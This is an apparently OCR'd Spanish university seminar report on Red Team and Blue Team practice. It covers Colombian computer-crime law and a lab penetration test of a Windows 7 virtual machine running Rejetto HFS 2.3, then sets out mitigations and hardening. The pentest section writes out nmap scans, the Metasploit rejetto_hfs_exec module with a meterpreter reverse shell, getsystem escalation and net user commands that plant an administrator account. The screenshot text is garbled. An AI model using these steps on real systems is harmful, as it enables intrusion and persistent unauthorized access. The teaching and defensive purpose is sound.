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Resumen
Finalmente, en este seminario de investigacion abordaremos las metodologias utilizadas
de los equipos BLUETEAM y REDTEAM para comprender su funcionamiento dentro de una
organizacion, asi mismo poder evaluar y mitigar los aspectos de brechas de seguridad
informatica y de la normatividad en cuanto a la legislacion colombiana con sus causales que
pueden llevar a cometer delitos informaticos y de ética profesional.

Palabra clave: Blue Team, Red Team



Abstact
Finally, in this research seminar we will address the methodologies used by the
BLUETEAM and REDTEAM teams to understand their operation within an organization, as
well as being able to evaluate and mitigate the aspects of computer security gaps and regulations
regarding Colombian legislation with its causes that can lead to committing computer crimes and
professional ethics.

Keywords: Blue Team, Red Team
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Glosario

REDTEAM: Es un conjunto de expertos en ciberseguridad que recrean ataques
cibernéticos de forma controlada hacia una entidad. Su meta fundamental es detectar y analizar
las debilidades en los sistemas de defensa de la compafiia, asi como examinar la efectividad de
las estrategias de proteccion vigentes.

BLUETEAM: Es el complemento del Red Team en el campo de la ciberseguridad.
Mientras que el Red Team realiza simulaciones de ataques para detectar debilidades, el Blue
Team asume la responsabilidad de proteger los sistemas y redes de una entidad frente a estas
amenazas.

VULNERABILIDAD: Una vulnerabilidad se definiria como una apertura, una entrada
sin cerradura o un hueco en la cerca. Representa cualquier fallo en un sistema, programa o
aplicacién que podria ser aprovechado por un agresor para conseguir acceso no permitido,

infligir dafio o sustraer datos.
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Introduccion

Para el desarrollo del seminario tomaremos como primera medida el tema de la
legislacion colombiana frente a los delitos informaticos, como pudimos evidenciar durante esta
practica encontramos varios aspectos de esta indole los cuales nos permitieron encontrar y
comprender el manejo inadecuado que se esta llevando al interior de la organizacion debido a la
falta de seguimiento por parte de los directivos con los contratos que se tienen con el encargado
de la contratacion de personal.

Como segundo aspecto se realizé el correspondiente laboratorio controlado para realizar
la simulacion del ataque el cual se informd por parte de la organizacion.

Por ultimo, se realizé el proceso de remediacion de vulnerabilidades encontradas en la

etapa de Pentesting.
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Objetivos

Objetivo General

Desarrollar estrategias que permitan evaluar y ejecutar acciones para los equipos
REDTEAM y BLUETEAM E dentro de la organizacion “CyberFort Technologies”.
Objetivos Especificos

Analizar los aspectos de la legislacion colombiana frente a los ataques cibernéticos.

Desarrollar aspectos que aporten al desarrollo de estrategias de equipos RedTeam y
BlueTeam.

Realizar recomendaciones para el planteamiento de estrategias que permitan endurecer los
aspectos de seguridad en una organizacion.

Conclusiones que permitan la construccion del conocimiento desde el enfoque de la

ciberseguridad.
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Aspectos de la Legislacion Colombiana Frente a los Ataques Cibernéticos

Durante el desarrollo del seminario debemos tener en cuenta como primera medida el
tema de la legislacion colombiana frente a los ataques cibernéticos, el entendimiento y
comprension de las leyes nos suministra una vision clara y efectiva de las penas a las cuales se
puede llegar al realizar actividades fuera de la ley.

Como pudimos evidenciar durante el desarrollo del seminario nos encontramos con el
Anexo 2 -Escenario 2 de la organizacion “CyberFort Technologieses” la cual nos indicaba
algunas inconsistencias relacionadas con la “ley 1273, si observamos con detenimiento nos
indica que no podremos divulgar informacion confidencial de procesos ilegales dentro de la
compaiiia, esto sin duda compromete el codigo de ética profesional y de Ley donde se vulnera el
“Articulo 269B” “OBSTACULIZACION ILEGITIMA DE SISTEMA INFORMATICO”, en
donde no se permite al profesional divulgar procesos ilegales.

También encontramos inconsistencias con el “Articulo 269C” “INTERCEPTACION DE
DATOS INFORMATICOS”, en donde el término "informacion confidencial™ se refiere a datos
secretos, como la vigilancia ilegal, la interceptacion de informacion y los accesos indebidos a
sistemas informaticos, logrando identificar la manipulacion de datos en varias clausulas, lo cual
es una violacion al “Articulo 269F” sobre la violacion de datos personales. Al alterar esta
informacidn para beneficio propio y sin la opcién de reportar actividades ilicitas, se esta

facilitando un manejo inapropiado de la informacién.
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Aspectos que Aporten al Desarrollo de Estrategias de RedTeam & BlueTeam
Para el desarrollo del informe técnico se describen los componentes fisicos y virtuales
utilizados:

o Equipo Host o Anfitrion

o Virtualizador: Virtual Box
o Maquina Virtual: Windows 7
o Maquina Virtual: Kali Linux

Pruebas de Penetracion

Fase de Reconocimiento

Segun la descripcion del Anexo 4 — Escenario 3 logramos identificar el problema o
situacion el cual indica que dentro de una organizacion se presenta fuga de informacion, la
informacidn que se tiene es que el equipo Windows 7 tiene instalada una aplicacion denominada
“rejetto con version 2.3, la cual es vulnerable y tiene asociado un exploit que puede terminar en
acceso atreves de un shell. También se encuentra un escalamiento de privilegios por medio de la

creacion de un usuario tipo administrador con el mddulo de Meterpreter.

Fase de escaneo de vulnerabilidades

En esta fase utilizaremos el siguiente software libre: NMAP y METASPLOIT
FRAMEWORK.
“Nmap proporciona muchos scripts que le permiten enumerar versiones de software que se

ejecutan en varios puertos en sus objetivos escaneados” (Helmus, 2020, pag. 89)



Para la identificacion de vulnerabilidades en la maquina Windows 7 utilizaremos la
herramienta Nmap que se encuentra instalada en la maquina Kali Linux, en este proceso
realizaremos la identificacion de puertos abiertos.

Analisis de vulnerabilidades con nmap

nmap -A 192.168.2.101
o Habilita la deteccidn del sistema operativo y de version.
Figural

Analisis Vulnerabilidades 1 con Nmap

/home/user
192.168.2.101
/nmap.org ) at 2024-11-08 20:59 -05
101

rts (no-response)
VERSIO
HttpFi ver httpd 2.3

2.3
Microsoft Windows RPC
Microsoft Wind netbios-ssn
s Windows 7 Professional Pack 1 microsoft-ds (workgroup: WORKGROUP)
Microsoft HTTPAPI ht
Ce (Oracle VirtualBox

so m
osoft Window e ndard 7, Mic oft Windows Phone 7.5 or 8.0
: 1 hop

Host: PC202006; 0S: Windows; CPE: cpe:/o:microsoft:windows

vice Pack 1 (Windows rofessional 6.1)
1:professional

Nota. Informacidn de los comandos utilizados con NMAP

nmap -T4 -Pn -sC -sV 192.168.2.101

14

o “-T4: Escaneo mas rapido”.
. “-Pn Omite realizar pings para no demorar tanto y evadir algun firewall”.
o “-sC ejecute una serie de script y que el retorno de la informacion en pantalla sea

mas detallado”.

o “-sV Retorne las versiones de cada servicio que encuentre”.
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Figura 2

Analisis Vulnerabilidades 2 con Nmap

/home/user
192.168.2.101
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-07 20:43 -05
Nmap scan report for 192.168.2.101
Host is up (0.00051s latency).
Not shown: 994 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-title: HFS /
| _http-server-header: HFS 2.3
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| _http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
MAC Address: 08:00:27:92:80:C@ (Oracle VirtualBox virtual NIC)
Service Info: Host: PC202006; 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 2:1:0:

= Message signing enabled but not required

| smb2-time:

| date: 2024-11-08T01:44:22

| start_date: 2024-11-08T01:

| smb-os-discovery:

| 0S: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)

| 0S CPE: cpe:/o:microsoft:windows_7::spl:professional

| Computer name: PC202006

| NetBIOS computer name: PC202006\x00

| Workgroup: WORKGROUP\x00@

| System time: 2024-11-07T20:44:

| smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

| message_signing: disabled (dangerous, but default)

| _clock-skew: mean: 1h40m@@s, deviation: 2h53ml12s, median: @s

|_nbstat: NetBIOS name: PC202006, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:92:80:c@ (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submlt/ 3
Nmap done: 1 IP address (1 host up) scanned in 105.65 seconds

/home/user

Nota. Informacién de los comandos utilizados con NMAP

En esta fase encontramos que el puerto 80 se encuentra asociado al servicio “Http
FileServer httpd 2.3”, y este servicio es el que se inicia cuando se ejecuta la aplicacion “hfs.exe”
en la maquina Windows 7. Ademas, podemos evidenciar que este programa permite compartir
archivos remotos solamente ingresando desde el navegador web de la maquina Kali con la ip de
la maquina Windows 7.

Figura 3

Software hfs.exe



Archivo Maquina Ver Entrada Dispositivos Ayuda

- JL N NN i

KaliLinux #& KaliTools « KaliDocs % Kali Forums ¢\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

& User
Login . A .
No files in this folder
— Folder
¢ Home
0 folders, O files, O bytes
@) search
L e
& Select
‘EH Invert H Mask |
0 items selected

H Actions
|. Archive | \.Get list.\

59 Server information

HttpFileServer 2.3

Server ti 08/11/2024 06:27:04 p.m.
Server uptime: 01:15:49

Nota. Informacion del software HFS via Web

Realizamos otro escaneo, pero agregando unos comandos:

J nmap -T4 -Pn —script vuln -p80 192.168.2.101

. --script Vuln: andlisis de vulnerabilidades especificamente al puerto 80
Figura 4

Analisis Vulnerabilidades 3 con Nmap

16
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/home/user

PORT STATE 5
L http
ULNERABLE:

Authentication bypa
S LNERABLE (

ulnerab
€ . This is often found in
common HTTP methods and in misconfigured .htaccess files.

Extra information:

URIs suspected to be nerable to HTTP verb tampering:
/~login [GENERIC]

VULNERAEBLE:
Apache byterange filter

when numerous

ildn't find a
)

Nmap done: 1 IP address (1 host up) scanned in 189.26 seconds

/home/user

Nota. Informacion de los comandos utilizados con NMAP

Efectivamente observamos el resultado de los scripts con vulnerabilidades.

. Id: CVE: CVE-2011-3192
Fase de Explotacion

Metasploit Framework es un framework de cddigo abierto basado en Ruby utilizado por
expertos en seguridad informatica y ciberdelincuentes para descubrir, aprovechar y confirmar
vulnerabilidades en un sistema.
Figura 5

Herramienta Metasploit Framework



ework.sh

, skipping initializ
Metasploit tip: Y | a rpreter session on m
platforms using

ry -

ers - 11

ion: https:

Nota. Informacion de Metasploit Framework

Siguiente paso: Con el comando “search HttpFileServer” encontramos el exploit
relacionado “exploit/windows/http/rejetto_hfs_exec”.
Figura 6

Identificacion de Vulnerabilidad

18
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msf6 > search HttpFileServer

Matching Modules

#f  Name Disclosure Date Rank Check Description

® exploit/windows/http/rejetto_hfs_exec 2014-09-11

Interact with a module by name or index. For example 1

Nota. Informacion de la vulnerabilidad encontrada

Siguiente paso: Con el comando “use exploit/windows/http/rejetto_hfs_exec” nos
ubicamos en el sploit para ser utilizado.
Figura7

Seleccion de Sploit

msf6 > use exploit/windows/http/rejetto_hfs_exec

Mo payload configured, defaulting to windows/meterpreter/reverse_tcp
msfe exploit( - |

Nota. Informacion de la seleccién de sploit

Siguiente paso: Con el comando “options” nos muestra las diferentes opciones.
Figura 8

Opciones de Sploit
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msf6 exploit( ) > options
Module options ( it/windows/http/rej
lequired
no
no cha f for t t I |
s/using- loit/ e loit.html

to listen on. This must be an addre [ the ine or 0.0.0.0 to listen

The path of the
The URI to use for this e it (default is random)
HTTP irtual host

oad options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

, none)

LPORT

Expleoit target:
LEL

Aute

the full module info with the C d command.

msfé6 exploit(

Nota. Informacion comando sploit

Siguiente: “set RHOST 192.168.2.101”: Indica a la herramienta cual es el sistema que se
desea analizar y se le asigna la direccion ip.

Siguiente: “set LPORT 80”: Indica el Puerto en la maquina atacante.

Siguiente: “show options”: Se identifican las opciones.
Figura 9

Comandos RHOST, LPORT y SHOW OPTIONS
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> set RHOS
> set RPORT 8@
msf6 exploit( ) » show options
Module options (exploit/windows/http
Name Current Setting
HTTPDELAY 18
-1
sing-metasploit/basics/using-metasplo
The

The local t or ne i to listen on. This must be an address on the local machine

ctions
t is randomly generated)

IPATH e r thi xploit (de 1t is random)

ST

Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required cription
ITFUNC
LHOST
LPORT
Exploit target:
Id Name

Automatic

the full module info with the info, or info -d command.

exploit(

Nota. Informacion de los comandos RHOST, LPORT y SHOW OPTIONS

Siguiente: “set LHOST 192.168.2.104”: Indica a la herramienta la direccion IP del equipo
atacante.
Figura 10
Configuracion de sploit LHOST

msf6 exploit(
LHOST = 192.168.2.104

mst6é exploit(

Nota. Informacion de la configuracion de sploit

Siguiente: “show payloads”: Muestra las opciones del payload.

Figura 11



Listado de Payloads para el Exploit Seleccionado

exploit(

Disclosure
/custom

ANS APT)
ind TCP Inline
rerse TCP Inl

t with Established SSH Connecti

86 Tight Loop
shel d Hidden Bind I

Windows shellcode Hidden Bind T

load/windows/custom/bind_ipv6_tcp s rmal Windows shellcode Bind IPve TCP
(Windows x86)

Load/windows/custom/bind_ipv6_ s rmal Windows code t Bind IPve TCP
with UUID Support (Windows x86)

Load/windows/custom/bind_n s rmal Windows shellcode Windows B

Load/windows/custom/bind_nonx s rmal Windows shellcode Bind T(
r Win7)
Load/windows/custom/bind_tcp 3 rmal Windows shellcode Bind TCP

s/custom/bind_tcp_r 5 rmal Windows shellcode st: Bind TCP
er cT ion, M m)
Windows shellcode Bind TCP
er
Windows
TTP/HTTRS
17 load/windows/custom/reverse_http 3 rmal Windows shellcode
se HTTP S er (wininet
Windows shellcode

Windows s

Load/windows/custom/revers ro . rmal windows shellcode
with Support fo ustom P

Nota. Informacion del Exploid Seleccionado

Siguiente: “Exploit”: Indica la ejecucion del exploit.
Figura 12

Ejecucion de sploit

Nota. Informacion del comando sploit



23

Fase de Post Explotacion

Ahora procedemos a explotar la vulnerabilidad que se logro identificar en la fase anterior,
para tratar de optimizar el acceso, recolectar datos y asegurar una conexion persistente.

Escalada de privilegios

Como opera getuid() en Meterpreter.

Cuando se emplea getuid() dentro de una sesion de Meterpreter, su funcionalidad es
basicamente la misma que en un entorno de programacion convencional. No obstante, hay
algunos aspectos importantes para tener en cuenta:

Entorno de ejecucién: Meterpreter es un payload que se ejecuta en el sistema de destino.
Por ende, el resultado obtenido de getuid() coincide con el UID del usuario que esta ejecutando
el proceso de Meterpreter en ese sistema.

Elevacion de privilegios: Si se logra elevar los privilegios de la sesién de Meterpreter
(por ejemplo, usando getsystem), el valor devuelto por getuid() mostraré esta modificacion. En
otras palabras, si alguien logra acceder a la cuenta de root, getuid() mostrara 0.

Siguiente paso utilizamos el comando: “getuid” el cual nos proporciona el nombre de
usuario actual.

Ver usuario: getuid

Figura 13

Comando getuid

Nota. Informacion del comando getuid



Siguiente: “use priv” se utiliza para cargar un modulo de post-explotacion disefiado
especificamente para escalar privilegios.

Figura 14

Comando use priv

Nota. Informacion del comando use priv

Figura 15
Comando getsystem

> getsystem

24

yst
technique 1 (Named Pipe Impersonation (In Memory/Admin)).

Nota. Informacion del comando getsystem

Siguiente: Tenemos privilegios system:

Figura 16

Obtencion Permisos de Administrador

Nota. Informacion de obtencién de los Permisos de Administrador

Creacion usuario administrador:
Por ultimo, procedemos a la creacion de un usuario con privilegios de administrador.

Ejecutamos una shell:
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Figura 17

Creacion Shell

odos los derechos.

C:\Windows\system32>]]

Nota. Informacion de la creacion de la consola Shell

o “net user Roger Prieto 2468/add”

. “net localgroup Administradores Roger Prieto /add”
o “net localgroup Administradores”
Figura 18

Creacion usuario con Privilegios

te

r_Prieto 987654321 /add

user Roger_Prieto 95765 dd
ha completado el comando correctamente.

Windows\syste

Nota. Informacion del usuario Creado con privilegios

Figura 19

Asignacion Grupo Administradores

C: \system32>net localgroup Administradores Roger_Prieto /add
et localgroup Administradores Roger_Prieto /fadd
Se ha completado el comando correctamente.
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Nota. Informacion de los Grupos Administradores
Figura 20

Verificacion Grupos Locales

equipo o dominio

comando correct

Nota. Informacion de los grupos Locales

Evidencia de usuario creado:
Figura 21

Evidencia Usuario Creado

]
&

Archivo  Maquina Ver Entrada Dispositivos Ayuda

B
(% » Panel de control » Todos los elementos de Panel de control » Cuentas de usuario » Administrar cuentas ~[4|[ 2|
o/l 2
Elegir la cuenta que desee cambiar
IETEE Roger_Prieta
| Administrador
Administrador . .
Protegida por contrasefia
Invitado
La cuenta de invitado ests desactivada
Crear una nueva cuenta
Qué s una cuenta de usuario?
Acciones adicionales que se pueden realizar
& Configurar Control parental
Ir ala pagina principal de Cuentas de usuzrio
1050 p.m.

= O ||




Nota. Informacion del Usuario Creado

Fase de reporte y mitigaciones

Etapa de Informe

Deteccion:

Utilizar herramientas de escaneo de vulnerabilidades como Nessus, OpenVAS o Nmap
para encontrar sistemas vulnerables.

Revisar los registros del servidor web para detectar patrones extrafios o intentos de
ataque.

Estar al tanto de los informes de seguridad publicados por Apache y otras fuentes de
confianza.

Chequeo:

Probar la vulnerabilidad: Si hay sospechas de una infeccidon, probar el atague en un
ambiente aislado para confirmar la vulnerabilidad.

Analisis exhaustivo: Analizar los detalles técnicos de la vulnerabilidad para entender su
impacto y las posibles formas de explotacion.

Informe:

Comunicacién interna: Notificar al equipo de seguridad y a los responsables de los
sistemas afectados.

Escalada: En caso necesario, llevar el incidente a niveles superiores de la organizacion.

Documentacion: Registrar todos los detalles del incidente, como la fecha de

descubrimiento, los sistemas afectados, las medidas tomadas y los resultados.

Fase de Mitigacion

Actualizacién inmediata:

27
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Parches oficiales: Emplear los parches de seguridad proporcionados por Apache para
solucionar la vulnerabilidad.

Pruebas exhaustivas: Realizar pruebas detalladas después de aplicar los parches para
verificar que no se generen nuevos problemas.

Medidas preventivas:

Control de acceso: Establecer restricciones estrictas para limitar el acceso a los servidores

web.

Filtros de entrada: Configurar filtros para bloguear peticiones HTTP maliciosas.

WAF (Web Application Firewall): Instalar un WAF para identificar y bloquear ataques
comunes.

Monitoreo constante: Supervisar de forma continua los sistemas para detectar cualquier
actividad sospechosa.

Controles de acceso:

Principio de minimo privilegio: Conceder Unicamente los permisos necesarios a los
usuarios para llevar a cabo sus funciones.

Autenticacion fuerte: Implementar métodos de autenticacidn seguros para proteger el
acceso a los sistemas.

Auditoria de logs: Realizar revisiones periddicas de los registros del sistema para detectar
actividades irregulares.

Plan de respuesta a incidentes:

Elaboracion de un plan: Crear un plan detallado de respuesta a incidentes que contenga

procedimientos para detectar, contener y recuperarse de problemas de seguridad.



Formacién del personal: Brindar formacion al personal sobre los procedimientos de

respuesta a incidentes.

29
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Recomendaciones para el Planteamiento de Estrategias que Permitan Endurecer los
Aspectos de Seguridad en una Organizacion
Informe de Acciones de Hardenizacion a Implementar para Evitar que Sucedan Ataques
de Seguridad Informatica
El termino de Hardening o endurecimiento, “el endurecimiento se refiere a proporcionar
varios medios de proteccion en un sistema informatico. La proteccidn se proporciona en varias

capas y a menudo se conoce como defensa en profundidad” (Rouse, 2015, p 1).

Acciones de Hardenizacion

Restriccion de instalacion de software no autorizado: Es un grupo de precauciones de
seguridad establecidas en un sistema de computacion para evitar que los usuarios instalen
programas que no han sido validados o permitidos por la empresa. Esto implica implementar
restricciones y normas que limiten la capacidad de los usuarios para bajar, instalar y correr
programas sin autorizacion adecuada.

Gestion de contrasefias: Aplicar normas de seguridad fuertes para las contrasefias, usar
verificacion de dos factores y evitar contrasefias débiles.

Cuél es la importancia de administrar contrasefias

Seguridad: Una contrasefia débil o reutilizada puede poner en riesgo la seguridad de
todas tus cuentas.

Prevencion de accesos no autorizados: Una adecuada gestion de contrasefias impide
que personas no autorizadas entren a tus cuentas.

Cumplimiento normativo: Muchas compafiias y organizaciones requieren el uso de
contrasefias seguras segun sus politicas de seguridad.

Consejos utiles para administrar contrasefias:
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Crear contrasefas seguras: Incluir letras mayusculas, mindsculas, nimeros y simbolos.
Evitar repetir contrasefias: Cada cuenta debe tener una contrasefia unica.

Usar un administrador de contrasefias: Estos programas guardan tus contrasefias de
manera segura y crean contrasefias robustas.

Activar la autenticacion de dos factores (2FA): Afade seguridad extra al pedir un
segundo factor de autenticacion, como un codigo enviado a tu teléfono.

Cambiar las contrasefias con regularidad: Especialmente si piensas que tu cuenta ha
sido comprometida.

No guardar contrasefias en lugares inseguros: Evita escribir tus contrasefias en papel o
guardarlas en archivos de texto sin encriptar.

Configuracion de Firewall: Configurar los firewalls para supervisar el flujo de entrada y
salida de datos de manera correcta.

Un cortafuegos es un sistema de seguridad que controla el flujo de datos en una red,
decidiendo si permitir o bloquear la transmision segun reglas establecidas de antemano.

¢Por gqué es crucial configurar un firewall?

Seguridad: Defiende el dispositivo o red contra posibles ataques de piratas informaticos,
virus y programas maliciosos.

Privacidad: Resguarda los datos personales y confidenciales.

Control: Permite supervisar qué aplicaciones y servicios pueden conectarse a internet.

Cumplimiento normativo: En ocasiones, es obligatorio para cumplir con regulaciones
de seguridad y privacidad.

Instalacion o activacion de Antivirus: Instale y actualice regularmente un software de

seguridad antivirus y antimalware.
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Procedimiento de instalacién y activacion

Descarga: Descargar siempre el antivirus desde la pagina web oficial del fabricante. Esto
asegura que se tiene la version mas reciente y segura.

Verifica la autenticidad: Asegurarse que la URL sea correcta y que el sitio tenga un
certificado de seguridad valido (el candado verde en la barra de direcciones).

Ejecucion del instalador: Una vez descargado, ejecutar el archivo de instalacion.

Activacion: La mayoria de los antivirus necesitan una clave de licencia para activarse. La
contrasefia suele estar en un email o en una tarjeta que viene con la compra.

Creacidn de cuenta: Algunos antivirus requieren crear una cuenta en linea para gestionar
la suscripcidn y recibir actualizaciones.

Configuracion: Realizar un escaneo completo del sistema para detectar amenazas.
Actualizaciones automaticas: Configura el antivirus para actualizar automaticamente y tener las
ultimas definiciones de virus.

Proteccidn en tiempo real: Activar esta funcion para detectar y blogquear amenazas
mientras intentan infectar el sistema.

Validacion de actualizaciones del sistema operativo: La verificacion de nuevas
versiones del sistema operativo es fundamental para asegurar que no presenten riesgos o
problemas que puedan afectar el funcionamiento de un dispositivo o red.

¢Coémo se lleva a cabo la validaciéon?

La validacion de las actualizaciones puede incluir una combinacién de las siguientes
técnicas:

Pruebas en entornos de prueba: Se instala la actualizacion en un entorno apartado y se

realizan pruebas completas para detectar cualquier problema.
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Analisis de cddigo: Se revisa el cddigo de la actualizacion en busca de posibles
vulnerabilidades o errores.

Verificacion de firmas digitales: Se verifica que la actualizacién haya sido emitida por
una fuente fiable y que no haya sido alterada.

Pruebas de compatibilidad: Se comprueba que la actualizacién funcione correctamente
con el hardware y software existentes.

Retroalimentacion de los usuarios: Se recopilan informes de los usuarios que han
instalado la actualizacién para identificar posibles problemas.

Validacion de politicas de usuarios: La confirmacion de normas de usuarios es un paso
importante en la seguridad de la informacion. Se encarga de comprobar que las reglas para
acceder y utilizar sistemas informaticos se sigan adecuadamente.

¢ Como opera la confirmacion de reglas de usuarios?

La confirmacién de reglas de usuarios se fundamenta en el establecimiento e implementacion de
normas que rigen el ingreso a los elementos del sistema. Estas pautas pueden abarcar:

Permisos: Definen las acciones que un usuario puede llevar a cabo en el sistema (como
leer, escribir, ejecutar, etc.).

Roles: Agrupan a los usuarios segun sus funciones y asignan permisos particulares a cada
rol.

Autenticacion: Verifica la identidad del usuario a través de contrasefias, tokens,
biometria, etc.

Autorizacion: Determina si un usuario autenticado cuenta con los permisos necesarios

para acceder a un recurso.
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Contabilidad: Registra las acciones llevadas a cabo por los usuarios con fines de
auditoria y analisis.

Monitoreo de puertos y servicios: La supervision de puertos y servicios es una practica
esencial en la administracion de redes que implica la observacion constante y ordenada del
estado y actividad de los puertos de red y los servicios que se ejecutan en ellos. Es similar a
contar con un vigilante resguardando las entradas y salidas de un edificio, garantizando el
correcto funcionamiento y evitando la presencia de intrusos.

¢Por qué es importante?

Deteccidn temprana de problemas: Permite identificar y resolver problemas de red de
manera proactiva, antes de que afecten a los usuarios.

Seguridad: Ayuda a detectar actividades sospechosas, como intentos de intrusién o
escaneos de puertos, y a proteger la red de ataques.

Disponibilidad: Garantiza que los servicios criticos estén siempre disponibles y
funcionando correctamente.

Rendimiento: Permite identificar cuellos de botella y optimizar el rendimiento de la red.

Cumplimiento normativo: En muchos casos, es un requisito para cumplir con normas de
seguridad y cumplimiento.

Evidencias encontradas en la maquina victima:

Encontramos que el equipo windows 7 se encuentra sin antivirus, la aplicacion de windows
defender se encuentra desactualizada, las opciones de actualizaciones de windows estan
deshabilitadas, la version del sistema operativo se encuentra obsoleta segun comunicacion del

proveedor.



Se encontro una aplicacion de software la cual identificamos que es la causante de la
vulnerabilidad encontrada.

Figura 22

Evidencia 1 Equipo Windows 7
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Figura 23

Evidencia 2 Equipo Windows 7
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Evidencia 3 Equipo Windows 7
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Figura 25

Evidencia 4 Equipo Windows 7

o Maquine Ver Entrada Dispositi

OU [+ Rejieto 123456 »

[E=EEm =)

- [ #3 | Buscar Rejeto_123456

Orgenizar Incluir en biblicteca »  Compartircon »  Nueva carpeta
= Mombre - Fecha de modifica... | Tipo Tamafio
¢ Favorites
§ Descargas (3 DarkComet 123456 /1120201049 5... sip Archive 14290 KB
B Escritorio (s 16/02/2004 0758 5. Aplicacién 743K8

%] Sitios recientes

4 Bibliotecas
[ Documentos
& Imagenes
o Misica

[B# videos
& Grupe en el hogar

1% Equipo
&, Disco local (C)

€ Red

, 2 elementos

11:08 a.m. i

)
e lad

=5 ¥ 43 0 CTRL DERECHA

Nota. Informacion Software Instalado Equipo Windows 7

Figura 26

Evidencia 5 Equipo Windows 7
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Conclusiones que Permitan la Construccion del Conocimiento Desde el Enfoque de la

Ciberseguridad

La ciberseguridad se presenta como un juego estratégico en continuo desarrollo

Progreso ininterrumpido: Las amenazas en el ciberespacio se ajustan con rapidez, lo que
implica que la ciberseguridad tiene que ser un procedimiento anticipado y en continuo progreso.

Perspectiva integral: La proteccion debe incluir hardware, software, redes, individuos y
procedimientos.

Razonamiento critico: Es esencial cultivar la habilidad de examinar circunstancias,

reconocer patrones y prever ataques potenciales.

La relevancia de la instruccion y el aprendizaje continuo

Sensibilizacién: La capacitacion en ciberseguridad tiene que ser disponible para todos los
usuarios, incluyendo a los trabajadores y a los ejecutivos.

Especializacion: Ahondar en sectores concretos como la ingenieria social, la
investigacion forense o la proteccion en la nube.

Practica continua: La forma mas efectiva de adquirir conocimiento es mediante la accion,

a través de simulaciones, actividades practicas y proyectos concretos.

La cooperacion es fundamental

Intercambiar saberes: La comunidad dedicada a la ciberseguridad representa un recurso
inestimable de datos.
Intercambiar vivencias: Compartir vivencias con otros expertos puede aumentar tu

comprension.
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Colaboracién ante incidentes: Colaborar en conjunto para reaccionar a sucesos de

seguridad de forma mas eficiente.

La proteccion de las personas es esencial

Elemento humano: Los fallos cometidos por personas son una de las causas mas
significativas de las vulnerabilidades en la seguridad.

Sensibilizacién: Es necesario que los trabajadores tengan conocimiento sobre las
practicas optimas de seguridad y los peligros mas frecuentes.

Entrenamiento en seguridad: Educar a los empleados para que reconozcan y notifiquen

posibles riesgos.

La normativa y las leyes establecen la ruta

Contexto legal: Comprender las normativas y disposiciones relacionadas con la
ciberseguridad es fundamental para satisfacer las obligaciones legales y salvaguardar a la
entidad.

Ajuste a las transformaciones: Las leyes y normativas se desarrollan de manera continua,

lo que hace indispensable estar al dia.

La ciberseguridad es un negocio

Retorno de la inversién: La ciberseguridad debe considerarse una inversion, no un gasto.
Alinear la seguridad con los objetivos del negocio: La seguridad debe apoyar los
objetivos estratégicos de la organizacion.

Gestion de riesgos: Identificar, evaluar y mitigar los riesgos de manera efectiva.
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Conclusiones

Después de realizar la guia, encontramos varios aspectos a resaltar para comprobar la
contencidn de ataques informaticos dentro de la organizacion CyberFort Technologies.

El fortalecimiento, conocido como hardening, es esencial para reforzar la seguridad de un
sistema o red. Al utilizar métodos de endurecimiento, se disminuyen considerablemente las
debilidades que podrian ser aprovechadas por personas gque intentan atacar.

El equipo Blue Team se encarga de evitar los incidentes, mientras que el equipo de
respuesta a incidentes se encarga de gestionarlos cuando suceden. Ambos son esenciales para
resguardar los bienes de una empresa.

La seleccion de las herramientas de seguridad correctas es una decision estratégica que
necesita revisar detalladamente las necesidades especificas de cada empresa. La union de un IPS,
un NGFW y un EDR ofrece una solida base para defenderse contra diversos tipos de
ciberamenazas. No obstante, es fundamental tener en cuenta que ninguna herramienta es
totalmente infalible y que una estrategia de seguridad eficaz debe contemplar también acciones

para concienciar a los usuarios y protocolos claros de respuesta ante incidentes.
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Escuela de Clencias

Bdsicas, Tecnologia e
Ingenieria

Anexo 4 — Escenario 3

Este anexo tiene la finalidad de brindar una guia para la identificacion
de un problema especifico en temas técnicos que se ejecutan en
equipos red team.

Situacion problema: Analisis Red Team

La primera misidn del equipo Red Team es lograr identificar porqué
medio o proceso se estda generando una serie de fuga de informacion
la cual se presenta al interior de la organizacion en uno de sus equipos
de cédmputo en la dependencia. La informacion inicial con la que cuenta
el equipo es que la maguina donde se estd generando la fuga de
informacion tiene instalada una aplicacion vulnerable bajo un windows;
esta aplicacion al parecer tiene asocciado un exploit que puede terminar
en un acceso a traves de Shell, escalacion de privilegios u otro tipo de
ataque. Dentro de la indacién, también se investiga un escalamiento
de privilegios por medio de la creacién de un usuario tipo administrador
del sistema.

El equipo de forense genera una copia del servidor y esta es entregada
a usted como experto, debe validar la posible falla de sequridad y si
estd es explotada debe crear un usuario con su primer nombre y primer
apellido, el usuario debe ser administrador esto con el fin de demostrar
una PoC ante los altos directivos.
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Anexo 2 — Escenario 2

Este anexo tiene la finalidad de brindar una guia para la identificacion
de un problema especifico en temas éticos y legales.

Situacion problema: Analisis legal

La organizacion CyberFort Technologieses una organizacion con
reconocimiento a nivel mundial por asesorar a grandes Gobiernos en
procesos de ciberseguridad y ciberdefensa logrando posicionarse como
la organizacion m&és importante en el campo de la seguridad
informatica a nivel mundial, la organizacién ha decidido que es hora de
conformar equipos de Red team y Blue team dentro de su estructura
funcional para aumentar los protocolos de seguridad al interior de esta.

Para dar inicio, la organizacion CyberFort Technologieses hace
entrega de un contrato para el reclutamiento de sus equipos Red team
y Blue team; este contrato fue elaborado por un abogado que ya no
labora con la organizacién y fue despedido por encontrar algunos
procesos licitos. La alta gerencia no reviso los contratos con los que se
